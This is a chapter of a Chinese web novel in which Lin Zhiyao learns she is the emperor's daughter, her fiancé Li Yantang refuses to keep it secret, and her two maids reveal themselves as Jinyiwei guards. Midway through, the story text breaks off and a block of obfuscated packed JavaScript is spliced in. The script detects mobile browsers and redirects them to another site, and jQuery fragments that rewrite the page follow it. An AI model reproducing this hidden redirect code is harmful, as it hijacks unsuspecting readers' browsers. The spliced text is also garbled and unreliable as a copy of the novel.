这一夜,林知夭终于知道了自己的身世。
“所以,我真正血缘上的父亲,是皇帝陛下?”
林知夭的表现比在场所有人预料的要冷静得多。
并没有惊喜,也没有这些年在外漂泊的委屈,她有的只是平静。
是的,她很平静。
就仿佛他们在说的,是别人的故事。
事实上对于身为穿越者的林知夭来讲,这也的确是其他人的故事。
若是她没有穿越,那么真正的林知夭早就死了,也根本不会有机会认识黎彦棠,更永远不可能得知自己的身世。
而林知夭穿来了,她又恰巧是不那么在乎所谓血统、身世、地位的现代人。
不是说家世出身不重要,只她更相信自己的努力。
她觉得靠奋斗一步步取得的成就更踏实,也更有成就感。
欲戴王冠,必承其重。
要拥有无上的尊荣与地位,也得有能力承担普通人没有的风险才行。
她清楚……泰元帝明年便要驾崩。李雍早晚要反,朝中也早晚要乱。
林知夭自认只是个小富即安的人,她承不住那样的重量,也过不来皇帝女儿的生活。
所以她的第一反应便是。
“阿砚,这件事……可否不向任何人说?”
她知道在场的黛月晴月以及梅七,都是黎彦棠的心腹。
只要黎彦棠答应了,这件事便能隐瞒下来。
所有人都惊诧地看向林知夭。
正常人得知自己亲爹是皇帝,不是应该恨不能宣扬得天下皆知才好吗?
泰元帝子嗣艰难,年逾四旬,却唯有两子三女,成年的公主更是只有李麟一位。
且陛下虽国事繁忙,没时间顾及后宫,但对子女都是极宽容的,这一点,从他任凭长公主舞刀弄剑,悉心培养太子政事,便可见一斑。
即使是他最不喜的,张皇后所出的呈王……
陛下也尽量隔绝他与张皇后的联系,以免日后处理起张家,呈王左右为难。
泰元帝其实为子女考虑良多,不得不说,算得上是一名好父亲。
然而这样的父亲摆在面前,林知夭的选择却是……不认!
黎彦棠深深看了林知夭一眼,旋即苦笑。
“抱歉,阿夭……”
“事关皇家血脉,兹事体大。”
“恐怕我不能答应。”
隔着窗子,林知夭的小脸肉眼可见垮了下来。
黎彦棠有些不忍,但他还是继续说了下去。
“过些时日,待陛下的身体好一些,我会找机会告知陛下。”
“还有长公主那边,我也会私下暗示。”
“至于是否向外界公布你的身份,该由陛下决定。”
林知夭的眼神骤然发亮。
黎彦棠叹息一声,无奈翘起唇角。
“我知你想保持现状,不希望卷入朝堂斗争中去……”
“其中厉害,我也会据实上报,陛下是一位明君,相信会有自己的判断。”
既是说……这件事很可能只有长公主与陛下知情,她的生活将一切照旧?
想到大周朝中即将到来的腥风血雨,林知夭这才安下了心。
然而还未等她松口气,黎彦棠却又说。
“至于我们的婚事,恐怕要延后了……”
眼看林知夭鼓着腮帮气呼呼瞪过来,黎彦棠笑出了声。
“因为我得等陛下知晓了你的身世,再去找他商量嫁娶之事。”
“这么大的事,我若是敢绕过了他,怕是日后要永无宁日了。”
“噗……”
在场几人都笑出了声,把林知夭羞得脸色通红,狠狠合上了窗。
梅七终于松了口气。
他手忙脚乱,将手中燃着的香倒过来插进土里,惹得黎彦棠不满看过去。
梅七认怂地将熄灭后的香递过去,表情有些肉疼。
“这可是枯禅香哎,老大!”
“主料是高僧常年坐禅之地的陈年老灰,专门对付各种媚香,行走江湖必备佳品!”
“属下可就只得了这么两根。”
“所以……另一根呢?”
“老大!”
梅七捂着胸口,作视死如归状。
“您还是扣我月奉吧!”
黎彦棠翻了个白眼。
不就是陈年老灰吗?有什么稀罕的?他师父香炉里多的是!
“回头我从静善寺给你搬几百斤。不过……”
梅七眼神噌地发亮,直到他听见了那声“不过”。
叹息一声,梅七认命地将怀里最后一根也递了过去。
“好的老大,往后这种香管够!可是……”
可是即便有了香,也只是治标不治本,您终究是入不了洞房的!
然而黎彦棠凌厉的目光扫过来,梅七这句,在场众人皆知的话,还是未能说出口。
林知夭的心情不免有些低落。
她隔着窗子扫了一眼黎彦棠的身影。
她苦啊!
这宽肩窄腰大长腿,她却只能看,摸不得。
简直就是对身心的折磨。
不过梅七说会尽快找出破解之法,暂时也只能如此了。
晴月见气氛有些微妙,便主动站出来。
“我其实觉得,林尚书才是最可怜的那个。”
众人疑惑地看向她。
晴月摊手。
“按梅老七的猜测,林尚书可能一早就知道阿萨夫人和主子的身份了……”
“估计他会以为,陛下早就清楚这件事,借着他张家东床快婿的身份,特意将女人和孩子托付给他。”
“这么些年,他独自守着这么大秘密,又时刻提心吊胆阿萨夫人母女安危,又得时刻掂量着自己的态度……”
“太尊敬了不行,林夫人会看出端倪;太亲近了不行,林夫人会吃醋;太苛待了更不行,毕竟是陛下特意藏起来的,恐怕地位非比寻常……”
“瞧瞧,这担惊受怕的……过的都是什么日子呦!”
所以林尚书才一直对她们母女敬而远之,所以她才有了瀚海楼这样大一间铺子……
在场众人都忍俊不禁起来。
林知夭也“嗤”地笑出了声。
不过……她的确该感谢林尚书,这些年来的护佑之恩。
“嗯,往后……只要林尚书不作奸犯科,不违反朝廷律法,他便永远是我的父亲。”
“还有林夫人,她很宽仁,当初没有为难阿萨,我很感激她。”
“那我们还她一命便是。至于林尚书……”
“毕竟有十七年庇佑之恩,我们是该孝顺。”
黎彦棠看向一片漆黑的窗扇,神色温柔。
夫妻一体,只要对阿夭好的人,他都愿意维护。
梅七三人对视一眼,神色都有些震惊。
身为黎彦棠的心腹,他们很清楚,黎彦棠对张家人的恨意有多重。
这么些年,他拼命寻找张家的破绽,为的就是将张家斩尽杀绝。
然而现在他却许诺,要还林夫人一条命。
那不就是打算饶过林夫人的意思?
可林夫人也是张家人啊!
黎彦棠叹息一声,看向三人。
“你们那是什么眼神,我难道是杀人狂魔吗?”
你是,你就是!
当年查抄吉安周氏时,黎彦棠残酷的手段,不止张家忘不了,便是锦衣卫的僚属,也至今印象深刻。
黎彦棠看了他们一眼,神情缓缓沉默。
林知夭早就听说黎彦棠当年查抄周家的事,但她张了张口,还是没问。
如此强烈的恨意,黎彦棠一定是曾经历了很不好的事,她不想揭他的伤疤。
如果……某天,黎彦棠想开了,也许会主动和她说。
林知夭只问了另外一件事。
“阿砚,我从来不知道黛月晴月她们会武……”
“莫非她们也是锦衣卫不成?”
这一点梅七从进门开始,也非常好奇。
但锦衣卫的规矩,不该知道的……谁也不准问!
此时听林知夭提起,梅七也是眼巴巴地看向黎彦棠。
“自我介绍一下吧。”
黎彦棠勾起唇角,瞥了二女一眼。
黛月晴月互视,旋即齐齐跪下,郑重朝林知夭所在的窗户方向深深施礼。
“九卫‘戴三’……”
“九卫‘卿四’……”
“见过主子。”
“原来你们便是我们九卫里藏得最深的老三和老四?”
“我说怎么从未见过,原来竟是躲在了平阳伯府!”
还未等林知夭说话,梅七便摇头笑起来。
林知夭赶紧叫她们起身,又好奇问道。
“你们同为九卫,竟是彼此不认识吗?”
两人中间,卿四也叫晴月,是比较活泼的那个,此时便笑着解释。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982120|188561||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我和三姐原本就是平阳伯府家生的奴婢,自小便跟着伯爷,扮男装,在静善寺长大。”
“伯爷仁慈,免了我们奴籍。”
“不过我们在平阳伯府待惯了,私下里帮伯爷处理些杂事,也没去过锦衣卫衙门走动。”
“难怪了!我说你们小小年纪,怎地功夫这般好?”
“原来竟也是静云大师的高徒,”
戴三瞥了他一眼,满脸不屑。
“哪个都是大师教的,道大师似你这般闲?”
卿四叉腰昂起头。
“我们,连着庄九,可都是伯爷教出来的!”
“不止我们,后山一大半师兄弟,都算是伯爷的半个弟子。”
梅七指了指自己,有些莫名其妙。
“所以戴千户和卿千户,是对梅七有什么不满吗?”
先前在前院当掌柜时,他就觉得这两个小丫头格外难搞。
按照九卫的序列来讲,这两人在锦衣卫里,官比他还大。
他可不记得何时得罪了对方。
“哼,我记得庄九说过,你当初把弦月迷晕了,还想搜她的身来的?”
“狗男人,不要脸!”
“虽然我们也不喜欢弦月那个阴湿鬼,但不懂得尊重女子的混账,就该……”
卿四朝梅七比了个剪刀的手势,把梅七吓得夹紧了双腿。
他呵呵干笑着,却看起来比哭还难看。
“医者……父母心,父母心而已……”
“再说,下官都这么大岁数了……”
戴三冷哼一声,看也懒得看他。
“若不是知道你没那个心思,还会留你到现在?”
真是自作孽不可活。
黎彦棠唇角忍不住抽了抽,懒得管缩在角落里瑟瑟发抖的梅七。
他伸手握拳在唇边,咳了一声,旋即正色道。
“既然你们已经认了阿夭为主,今后便好好当差,专心护她的周全。”
“阿夭的身份你们已经听见了,在她身边,可能会有危险。”
“但向来风险与机遇并存。”
“她性子宽厚,待人赤诚,心地纯善。”
“你们身为女子,若想不依附男人,自行建立功业,在她身边算是最好的出路!”
戴三与卿四互视一眼,双双露出狂喜之色。
先前还不知道林知夭身份时,她们便决定追随她。
当时两人看重的,便是林知夭对待下人宽仁的态度。
她们想要跟着林知夭学做生意,将来哪怕做个富家翁,能自食其力便好。
哪知如今林知夭又多了公主的身份,对她们来说,更添了几分其它的可能。
“是!”
“主子在上,请受奴婢们一拜!”
“哎呀,别……”
来了这么久,林知夭早已习惯了这个时代见人就拜来拜去的现实。
然而她从小便是平民百姓,别人对着她叩拜,她还是有些手足无措。
“我也并没有……他说的那么好,只是你们跟在我身边,有什么想学的,想做的,都放手去便好。”
“况且你们既已脱了奴籍,怎地还自称奴婢?”
她们要的便是这一句“放手去”而已。
戴三、卿四两人对视一眼,不约而同洒然而笑。
“主子,无妨的!”
“顶着这个奴婢的身份,我们在您身边也方便些。”
事情都说清楚,西窗令的问题也暂时解决,梅七又替黎彦棠处理好了伤口,林知夭的心也跟着安定了不少。
临走时,黎彦棠凑近窗边,轻声与林知夭说悄悄话。
“谁说没有那么好?”
他笑了一声,带着独属于黎彦棠的轻佻。
“我们家阿夭……天下最好!”
林知夭啐了一口,再次羞红了双颊。
这个人,是不是真的有双重人格啊?
他这是演病娇,演上了瘾?
就在她打算嗔他两句时,黎彦棠却又轻声说。
“我说最近要出京,不是诓你。”
“西南异族有异动。镇国将军李雍这次提前返京,便是急着将此消息上报。”
“不管这是否他的烟雾弹,陛下总要派人去瞧一瞧!”
他叹息一声,语气里有些凝重。
“五月初五,我一定回来。”
“阿夭,答应我……无论发生什么,一定要保护好自己!”